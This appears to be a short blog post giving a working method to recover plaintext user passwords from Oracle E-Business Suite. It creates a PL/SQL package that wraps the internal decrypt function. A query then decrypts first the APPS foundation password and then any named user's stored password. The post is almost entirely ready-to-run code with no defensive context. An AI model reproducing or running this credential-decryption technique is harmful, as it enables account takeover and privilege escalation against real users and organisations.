How To Get User Password In Oracle EBS

Below step by step to get password  from oracle user:

1.     Create package specification and body below :

CREATE OR REPLACE PACKAGE APPS.XXARTO_GET_PWD

AS

   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)

      RETURN VARCHAR2;

END ;

/

CREATE OR REPLACE PACKAGE BODY APPS.XXARTO_GET_PWD

AS

   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)

      RETURN VARCHAR2

   AS

      LANGUAGE JAVA

      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt

(java.lang.String,java.lang.String) return java.lang.String';

END XXARTO_GET_PWD;

/

2.     Run query script and input the query parameter

SELECT Usr.User_Name,

       Usr.Description,

       XXARTO_GET_PWD.Decrypt (

          (SELECT (SELECT XXARTO_GET_PWD.Decrypt (

                             Fnd_Web_Sec.Get_Guest_Username_Pwd,

                             Usertable.Encrypted_Foundation_Password)

                     FROM DUAL)

                     AS Apps_Password

             FROM applsys.Fnd_User Usertable

            WHERE Usertable.User_Name =

                     (SELECT SUBSTR (

                                Fnd_Web_Sec.Get_Guest_Username_Pwd,

                                1,

                                INSTR (Fnd_Web_Sec.Get_Guest_Username_Pwd,

                                       '/')

                                - 1)

                        FROM DUAL)),

          Usr.Encrypted_User_Password)

          Password

  FROM applsys.Fnd_User Usr

 WHERE Usr.User_Name =:p_userName

Source : http://artomigirdicyan.blogspot.com/2012/12/find-password-in-oracle-e-business.html